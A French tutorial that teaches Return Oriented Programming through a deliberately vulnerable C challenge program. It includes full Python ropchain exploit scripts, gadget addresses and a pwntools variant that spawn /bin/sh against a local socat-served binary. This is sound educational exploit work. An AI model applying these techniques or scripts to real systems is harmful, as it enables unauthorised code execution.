You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

23KB

Exploitation stack buffer overflow: Return Oriented Programming

La théorie


Pré-requis:

  • Connaître la définition d’un stack based buffer overflow.
  • Connaître globalement l’architecture d’un programme.
  • Avoir les bases de l’assembleur x86 (64)
  • Avoir les bases du shellcoding et de l’exploitation de stack buffer overflow sans protections

Une petite introduction


Ici nous parlerons du ROP, et nous montrerons comment l’utiliser pour attaquer un programme linux, 64 bits, compilé en statique, sans autres protections que la protection NX. (Vous faites pas de soucis on va clarifier tout ça)

Pour rappel, une fonction est constituée d’un prologue et d’un épilogue. Lorsque le call vers une fonction est exécuté, l’adresse de la fonction appelante est mise dans la stack et l’épilogue de la fonction appelée se chargera de prendre cette adresse et de la mettre dans le pointeur d’instruction (registre eip/rip). Partant de là, si nous sommes capable de réécrire l’adresse de retour de cette fonction, nous contrôlons donc le flux d’exécution du programme.

Point de détail important, tout epilogue se termine par un “ret”, et c’est cette intruction qui se charge de paramétrer le pointeur d’exécution à la bonne adresse.

Au début de ce type d’exploitation, il n’y avait aucune protection, c’est à dire que la stack était un segment avec les droits d’exécution et les adresses étaient non-aléatoires. Il suffisait donc de mettre un shellcode (une suite d’instruction) dans la stack et de faire pointer l’addresse de retour vers notre shellcode pour que lorsque la fonction se termine le programme exécute notre shellcode.

Pour essayer de mitiger ce type d’exploitation, on à introduit la protection “NX” (stack Non eXecutable). Cette protection nous empêche donc de mettre dans la stack notre shellcode. C’est alors que l’on vit apparaître le ROP.

Le Return Orentied Programming (appelé ROP) est une technique d’exploitation permettant de prendre le contrôle du flux d’exécution d’un programme en utilisant le code même de ce programme.

En quoi consiste le ROP?


Le ROP consiste à utiliser des “gadgets” en série (appelée ropchain) afin de prendre le contrôle du programme. Un gadget est une adresse mémoire à laquelle se trouve une suite d’instructions se terminant par un “ret” (d’ou return oriented programming). Par exemple “xor eax, eax; ret”

Pour créer une ropchain il faut donc chercher dans l’exécutable ce type d’intructions et connaître leurs adresses.

Note: Ce dernier point peut être problématique lorsque le PIE est activé (Position Independant Executable) puisque l’exécutable est chargé de manière aléatoire dans la mémoire. Il est donc impossible de prime abord de connaître les adresses de nos gadgets. Celà reste tout de même exploitable, mais il y aura un prérequis supplémentaire: avoir une fuite d’une adresse d’un segment qui ne soit ni la stack, ni la heap. Une fois ce leak obtenu, vous devrez retrouver a quel offset il correspond. De cette facon vous pourrez toujours recalculer l’adresse de base du programme en faisant base = leak - offset et ensuite faire le rop de manière conventionnelle.

Voilà par exemple une ropchain qui va exécuter /bin/dash

schéma d'une ropchain

Comme nous pouvons le voir dans ce schéma, la ropchain va exécuter les instructions suivantes:

pop rsi ; stock le prochain élément de la stack dans rsi (ici l'adresse du segment .data)
pop rax ; stock le prochain élément de la stack dans rax (ici la chaine '/bin/das')
mov qword ptr [rsi], rax ; écrit le contenu de rax à l'adresse contenue dans rsi.
pop rsi ; stock le prochain élément de la stack dans rsi (ici l'adresse du segment .data + 8)
pop rax ; stock le prochain élément de la stack dans rax (ici la chaine 'h\x00')
mov qword ptr [rsi], rax ; écrit le contenu de rax à l'adresse contenue dans rsi.

Cette ropchain écrit donc "/bin/dash\x00" au début du segment .data.

Note: Les gadgets de types mov qword ptr [rsi], rax; sont appelés des write-what-where puisqu’ils permettent d’écrire une valeur en mémoire.

Mais comment ca s’enchaine dans la stack ?


Voilà une représentation de la stack avant réécriture de l’adresse de retour

Valeur Commentaire
0x0041414141414141 buffer contenant juste des A
0x0000000000401122 adresse de retour

Voilà une représentation avec une réecriture de l’adresse de retour par des “B” (donc sans ropchain)

Valeur Commentaire
0x4141414141414141 buffer contenant juste des A
0x0000000000424242 adresse de retour

Voilà une représentation avec la réécriture et la ropchain

Valeur Traduction Commentaire
0x4141414141414141 buffer contenant juste des A
0x00000000004017e7 pop rsi; ret mets l’adresse du segment data dans rsi
0x00000000006c0000 adresse du segment data
0x000000000044d2b4 pop rax; ret mets /bin/das dans rax
0x7361642f6e69622f sad/nib/
0x0000000000467b51 mov qword ptr [rsi], rax; ret écrit /bin/das à l’adresse de .data
0x00000000004017e7 pop rsi; ret mets l’adresse de .data+8 dans rsi
0x00000000006c0008 adresse du segment data, +8
0x000000000044d2b4 pop rax; ret mets \x00\x00\x00\x00\x00\x00\x00h dans rax
0x0000000000000068 \x00\x00\x00\x00\x00\x00\x00h
0x0000000000467b51 mov qword ptr [rsi], rax; ret écrit \x00\x00\x00\x00\x00\x00\x00h à .data+8

En fait à chaque fois que le pointeur d’instruction arrive sur un ret, le programme prends la valeur à l’adresse du stack pointer (rsp) et remplace la valeur du pointeur d’instruction par celle-ci.

En d’autres termes (et en conclusion :-P), chaque gadget va ret sur le gadget suivant.

Passons à la pratique


Pré-requis:

  • Avoir installé ropper
  • Avoir python
  • Avoir readelf

Dans le dossier chall de ce repos se trouve un challenge: Un programme vulnérable qui se charge de convertir l’entrée utilisateur en hexadecimal.

Nous allons pas-à-pas l’exploiter mais nous vous encourageons de le faire par vous même avant de lire la suite de l’article

La première étape dans ce type de challenge c’est trouver la vulnérabilité

Find the bug


Voilà le code source du programme:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char ** argv){
    char buffer[232];
    int len, i;

    gets(buffer);
    len = strlen(buffer);

    if(len >= 550){
            printf("Size too big :(\n");
            exit(EXIT_FAILURE);
    }
    for (i=0; i<len; i++){
        printf("%02x", buffer[i]);
    }
    printf("\n");
    return 0;
}

Note: Le code source n’est pas obligatoire, des outils comme radare2,Cutter,IDA,Ghidra vous permettrons de retrouver les mêmes résultats.

Pour les habitués de l’exploit, la vulnérabilité devrait vous avoir sautée aux yeux.

Ici, une seule fonction prends des paramètres envoyés par l’utilisateur, c’est donc forcément à cet endroit que la vulnérabilité se trouve. Il s’agit de la fonction gets(). Cette fonction se charge de lire autant de byte que possible jusqu’a trouver un \n ou un EOF, sans limite de taille.

Le tableau dans lequel la fonction va stocker la chaine de caractère fait 232 bytes. De plus, il y a deux autres variables dans la stack len et i. Il est donc fortement probable, sachant que dans la stack chaque variable est paddée sur 8 bytes, que l’adresse de retour que nous souhaitons réécrire se trouve autour de 248 bytes par rapport au début de notre buffer (232 bytes + 8 bytes + 8 bytes).

_note: le type int est en fait un alias sur la plupart des setups pour int32t et donc prends 4 octets. Mais avec le fonctionnement de la stack fait que chaque variable est paddée et donc prendra le premier multiple de 8 octets à disposition, ici 8 octets.

Nous allons vérifier cette théorie par la pratique:

> python -c "print('A' * 247)" | ./rop
414141414141414141414141...[redacted]...

Ici on envoie 248 bytes et nous avons pas de crash puisque le programme nous réponds.

Note:

  • En vérité, nous avons déjà réécris la variable len et la variable i. Celà aurait pu causer des problèmes, mais ces deux variable sont initialisée après notre overflow.
  • Nous envoyons 248 bytes parce que nous envoyons 247 ‘A’ et le ‘\n’

Maintenant si nous envoyons 1 caractère de plus ?

> python -c "print('A' * 248)" | ./rop
414141414141414141414141...[redacted]...
[1]    42178 done                              python -c "print('A' * 248)" |
       42179 segmentation fault (core dumped)  ./rop

Nous avons un segfault, le programme à crash. Un petit coup d’oeil en utilisant strace et nous verrons quel est le soucis

> python -c "print('A' * 248)" | strace ./rop
execve("./rop", ["./rop"], 0x7ffcfef70c00 /* 51 vars */) = 0
arch_prctl(0x3001 /* ARCH_??? */, 0x7ffee0b338b0) = -1 EINVAL (Invalid argument)
brk(NULL)                               = 0x1229000
brk(0x122a1c0)                          = 0x122a1c0
arch_prctl(ARCH_SET_FS, 0x1229880)      = 0
uname({sysname="Linux", nodename="anatomy", ...}) = 0
readlink("/proc/self/exe", "/home/user/repos/articles/00_ROP"..., 4096) = 42
brk(0x124b1c0)                          = 0x124b1c0
brk(0x124c000)                          = 0x124c000
mprotect(0x4a8000, 12288, PROT_READ)    = 0
fstat(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 249
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x2), ...}) = 0
write(1, "41414141414141414141414141414141"..., 50941414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141fffffff8000000ffffffec0000004141414141414141
) = 509
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=NULL} ---
+++ killed by SIGSEGV (core dumped) +++
[1]    42222 done                              python -c "print('A' * 248)" |
       42223 segmentation fault (core dumped)  strace ./rop

Alors il y a pas mal d’info ici mais le plus intéressant ici est la partie avec sigsegv:

--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=NULL} ---

si_addr=NULL veut dire que que le pointeur d’instruction à été réécrit par un 0x00.

Essayons maintenant de réecrire complètement l’adresse par des ‘B’:

> python -c "print('A' * 248 + 'B' * 6)" | strace ./rop
[redacted]
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x424242424242} ---
[redacted]

Donc notre offset est bien 248 ! Si la stack était exécutable, il suffirait d’écrire un shellcode, trouver son adresse, et sauter dessus. Mais là ca ne sera pas possible. Il faudra donc construire une ropchain avec les gadgets contenus dans l’exécutable ! On passe donc à l’étape suivante.

Trouver les gadgets


On va utiliser ropper pour nous lister nos gadgets: Note: Ce qui sera dans notre ropchain à proprement parlé sont les adresses de ces gadgets!

> ropper --file ./rop --nocolor > /tmp/gadgets
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

Je vous laisse regarder le contenu de /tmp/gadgets ;)

Ne vous inquietez pas, un peu de grep et tout ira mieu ;)

> egrep -i ": pop (rax|rdi|rsi|rdx); ret;" /tmp/gadgets
0x00000000004469d0: pop rax; ret;
0x000000000040183a: pop rdi; ret;
0x000000000040788e: pop rsi; ret;

Pas de pop rdx tout simple, tant pis on fera avec des gadgets moins “évidents”:

> grep -i ": pop rdx;" /tmp/gadgets
0x0000000000425c16: pop rdx; add eax, 0x83480000; ret 0x4910;
0x000000000040dd22: pop rdx; idiv edi; jmp qword ptr [rsi + 0x2e];
0x000000000041ba0a: pop rdx; pop rbp; pop r12; ret;
0x000000000047277b: pop rdx; pop rbx; ret;
0x000000000041e5a9: pop rdx; xor eax, eax; pop rbp; pop r12; ret;

Le gadget qui nous arrange le plus est donc pop rdx; pop rbx; ret

Ensuite, il nous faut notre write-what-where:

> grep -i ": mov qword ptr \[rsi\], rax; ret" /tmp/gadgets
0x0000000000470475: mov qword ptr [rsi], rax; ret;

Il nous faut un gadget pour un syscall (execve):

> grep -i --color=always ": syscall;" /tmp/gadgets
0x0000000000401213: syscall;
[redacted]

Ok, rien qu’avec ces gadgets, nous avons de quoi faire notre ropchain. À un détail près. Nous voulons exceve("/bin/sh", ["/bin/sh], Null); Il nous faut donc un endroit pour écrire “/bin/sh”. L’exécutable ici n’a pas la protection PIE (Position Independant Executable), ce qui implique que tout les segments sont à une adresse statique. Nous allons donc nous servir du segment .data pour y stocker /bin/sh :)

Pour connaître son adresse:

> readelf -S rop |grep -i '\.data '
  [20] .data             PROGBITS         00000000004ab0e0  000aa0e0

L’adresse du segment .data est donc 0x4ab0e0

Ok donc maintenant qu’on a tout ca, quel est le plan ?

1) Mettre “/bin/sh” à l’adresse 0x4ab0e0

2) Mettre 0x4ab0e0 à l’adresse 0x4ab0f0

3) Exécuter le syscall execve avec en paramètres: execve(0x4ab0e0, 0x4ab0f0, 0);

Note: pour des soucis de clareté, dans les blocs de code nous utiliserons @.data pour dire l’adresse du segment data

Mettre “/bin/sh” à l’adresse 0x4ab0e0


Pour pouvoir écrire quelque chose il nous faut un write-what-where. Ça tombe bien, nous avons mov qword ptr [rsi], rax; ret;

Il faut donc pré-paramétrer rsi et rax et pour ça nous allons utiliser le gadget pop rax et le gadget pop rsi

Voila donc l’enchainement proposé

pop rsi; ret
@ .data
pop rax; ret
/bin//sh
mov qword ptr [rsi], rax;

Note: remarquez que nous avons écrit /bin//sh et non pas /bin/sh. Rax est un registre 64bits, et /bin/sh fait 7 octets et est donc 1 octet trop court ! Alors on rajoute un “/”, ce qui donne une chemin toujours aussi valide

La prochaine étape, écrire 0x4ab0e0 à 0x4ab0f0


Certains se demandent peut etre pourquoi faire ça. En fait, le deuxième argument d’execve est le tableau des arguments, c’est donc un tableau de pointeur vers des chaines de caractères (ou pour les amateurs de C, un char**). Il faut donc que le premier pointeur du tableau pointe vers le nom du binaire, que nous avon mis à l’adresse 0x4ab0e0 :).

Ici, vous l’aurez compris, c’est encore une fois un write-what-where qu’il nous faut. Et cette partie de notre ropchain ressemblera beaucoup à la précédente :) Voilà ce que nous proposons:

pop rsi; ret
@ .data + 0x10
pop rax; ret
@ .data
mov qword ptr [rsi], rax;

Exécution du syscall


Pour cette partie il nous faudra utiliser le gadget syscall. Le numéro de syscall appelé est stocké dans le registre rax, il nous faudra donc le paramétrer. En 64 bits sur linux les arguments des syscalls sont dans l’ordre dans les registres suivant: rdi, rsi, rdx … Et il faudra également les préparer

Le numéro de syscall pour execve est 59, vous pourrez trouver tous les syscall, leurs numéros et leurs arguments à cette adresse

Voilà donc ce que nous proposons:

pop rdi; ret
@ .data
pop rsi; ret
@ .data + 0x10
pop rdx; pop rbx;  ret
0
0
pop rax; ret
59
syscall;

La ropchain finale


Pour la ropchain finale nous allons faire un petit script python, parce que c’est plus pratique.

Voilà le squelette du script:

#!/bin/env python3

from struct import pack
from os import write

pop_rax = pack("<Q", 0x4469d0)
pop_rdi = pack("<Q", 0x40183a)
pop_rsi = pack("<Q", 0x40788e)
pop_rdx = pack("<Q", 0x47277b)
movd_rsi_rax = pack("<Q", 0x470475)
syscall = pack("<Q", 0x401213)

at_data = pack("<Q", 0x4ab0e0)
at_data_16 = pack("<Q", 0x4ab0e0+0x10)

buff = 248 * b"A"

write(1, buff)

Nous avons simplement repris les adresses de nos gadgets et nous avons inclus la fonction pack. Cette fonction va sérialiser nos adresses sous forme de chaîne de caractère (en little endian)

Notre ropchain devrait ressembler à ca:

pop rsi; ret
@ .data
pop rax; ret
/bin//sh
mov qword ptr [rsi], rax;
pop rsi; ret
@ .data + 0x10
pop rax; ret
@ .data
mov qword ptr [rsi], rax;
pop rdi; ret
@ .data
pop rsi; ret
@ .data + 0x10
pop rdx; pop rbx; ret
0
0
pop rax; ret
59
syscall;

Ce qui se traduit dans le script par:

#!/bin/env python3

from struct import pack
from os import write

pop_rax = pack("<Q", 0x4469d0)
pop_rdi = pack("<Q", 0x40183a)
pop_rsi = pack("<Q", 0x40788e)
pop_rdx = pack("<Q", 0x47277b)
movd_rsi_rax = pack("<Q", 0x470475)
syscall = pack("<Q", 0x401213)

at_data = pack("<Q", 0x4ab0e0)
at_data_16 = pack("<Q", 0x4ab0e0+0x10)

null = pack("<Q", 0x00)
execve = pack("<Q", 59)

buff = 248 * b"A"

buff += pop_rsi
buff += at_data
buff += pop_rax
buff += b"/bin//sh"
buff += movd_rsi_rax
buff += pop_rsi
buff += at_data_16
buff += pop_rax
buff += at_data
buff += movd_rsi_rax
buff += pop_rdi
buff += at_data
buff += pop_rsi
buff += at_data_16
buff += pop_rdx
buff += null
buff += null
buff += pop_rax
buff += execve
buff += syscall

write(1, buff)
write(1, b"\n")

Par soucis de sécurité, nous devons etre sur que le deuxieme pointeur dans le tableau des arguments est bien nul. Nous allons donc le réécrire, juste pour être sur. Ce qui finalement donne:

#!/bin/env python3

from struct import pack
from os import write

pop_rax = pack("<Q", 0x4469d0)
pop_rdi = pack("<Q", 0x40183a)
pop_rsi = pack("<Q", 0x40788e)
pop_rdx = pack("<Q", 0x47277b)
movd_rsi_rax = pack("<Q", 0x470475)
syscall = pack("<Q", 0x401213)

at_data = pack("<Q", 0x4ab0e0)
at_data_16 = pack("<Q", 0x4ab0e0+0x10)
at_data_24 = pack("<Q", 0x4ab0e0+0x18)

null = pack("<Q", 0x00)
execve = pack("<Q", 59)

buff = 248 * b"A"

""" parametrer le premier argument """
buff += pop_rsi
buff += at_data
buff += pop_rax
buff += b"/bin//sh"
buff += movd_rsi_rax

""" parametrer le deuxieme argument """
buff += pop_rsi
buff += at_data_16
buff += pop_rax
buff += at_data
buff += movd_rsi_rax

""" mettre le 2e pointeur du tableau des arguments à 0 """
buff += pop_rsi
buff += at_data_24
buff += pop_rax
buff += null
buff += movd_rsi_rax

""" execve """
buff += pop_rdi
buff += at_data
buff += pop_rsi
buff += at_data_16
buff += pop_rdx
buff += null
buff += null
buff += pop_rax
buff += execve
buff += syscall

write(1, buff)
write(1, b"\n") # trigger

Let’s try it!


Nous pouvons vérifier l’exécution du shell en cherchant dans l’output de strace les execve:

> python tst.py | strace ./rop 2>&1 | grep -i execve
execve("./rop", ["./rop"], 0x7ffeeb4cd4c0 /* 51 vars */) = 0
execve("/bin//sh", ["/bin//sh"], NULL)  = 0

Il est bien exécuté! Mais le shell se ferme directement ?! C’est parce que le shell est le processus fils du programme vulnérable et lorsque ce dernier se ferme, l’OS va kill le shell pour éviter les zombies. Petite astuce pour plus que ça arrive:

> python tst.py > /tmp/payload

> cat /tmp/payload - | ./rop
414141414141414141414141...[redacted]...
id
uid=1000(user) gid=1000(user) groups=1000(user)

Et voilà :)

Ouais mais là… J’ai juste un shell en local …

Oui c’est vrai, et en CTF, il y a fort à parier que vous auriez à exploiter ça en remote. On vous donnera l’exécutable, une ip, un port, et c’est parti. Nous allons donc faire quelques changement à notre script d’exploit en consequence.

Pour cette partie, nous utiliserons deux outils, socat et pwn.

Socat va nous permettre de transformer notre programme local en programme disponible sur le réseau, ce qui va nous permettre de simuler le fait que l’exécutable est en remote :).

Pour toute cette partie, nous lancerons notre programme avec la commande suivante:

socat -d -d tcp-listen:5555,fork,reuseaddr exec:"./rop"

Vous l’aurez donc compris, cette commande va rendre disponible l’exécutable “rop” sur le port 5555 (Attention, c’est un programme vulnérable, vous devez imperativement couper socat quand vous avez fini).

Maintenant, au tour de pwn. Cette librairie python va nous permettre de faciliter l’interaction avec un programme en remote. (Pour les amateurs, cette libraire est extrêment utile et complète et je recommande vraiment d’approfondir le sujet).

Reprenons notre script, mais avec pwn:

#!/bin/env python3

from struct import pack
from pwn import remote


proc = remote("127.0.0.1", 5555)

pop_rax = pack("<Q", 0x4469d0)
pop_rdi = pack("<Q", 0x40183a)
pop_rsi = pack("<Q", 0x40788e)
pop_rdx = pack("<Q", 0x47277b)
movd_rsi_rax = pack("<Q", 0x470475)
syscall = pack("<Q", 0x401213)

at_data = pack("<Q", 0x4ab0e0)
at_data_16 = pack("<Q", 0x4ab0e0+0x10)
at_data_24 = pack("<Q", 0x4ab0e0+0x18)

null = pack("<Q", 0x00)
execve = pack("<Q", 59)

buff = 248 * b"A"

""" parametrer le premier argument """
buff += pop_rsi
buff += at_data
buff += pop_rax
buff += b"/bin//sh"
buff += movd_rsi_rax

""" parametrer le deuxieme argument """
buff += pop_rsi
buff += at_data_16
buff += pop_rax
buff += at_data
buff += movd_rsi_rax

""" mettre le 2e pointeur du tableau des arguments à 0 """
buff += pop_rsi
buff += at_data_24
buff += pop_rax
buff += null
buff += movd_rsi_rax

""" execve """
buff += pop_rdi
buff += at_data
buff += pop_rsi
buff += at_data_16
buff += pop_rdx
buff += null
buff += null
buff += pop_rax
buff += execve
buff += syscall

proc.sendline(buff)
proc.interactive() # et paf le shell

Plutôt simple non ?

Et du coup, pour confirmer que ca fonctionne toujours:

> python tst.py
[+] Opening connection to 127.0.0.1 on port 5555: Done
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

Pour résumer les différents scénario auxquels nous avons répondu:

  • Le programme vulnérable est en local, et nous diposons au moins du binaire (Même si ici nous avons utilisé le code source).
  • Le programme vulnérable est en remote, et nous disposons au moins du binaire.

Mais il y a un scénario majeur que nous n’avons pas encore exploré: Et si le programme était en remote, mais que nous n’avions pas le binaire ? Dans un prochain article, nous verrons qu’il est tout aussi possible d’exploiter la vulnérabilité, même si ca sera plus difficile et que des prérequis bien particuliers seront nécessaire ;)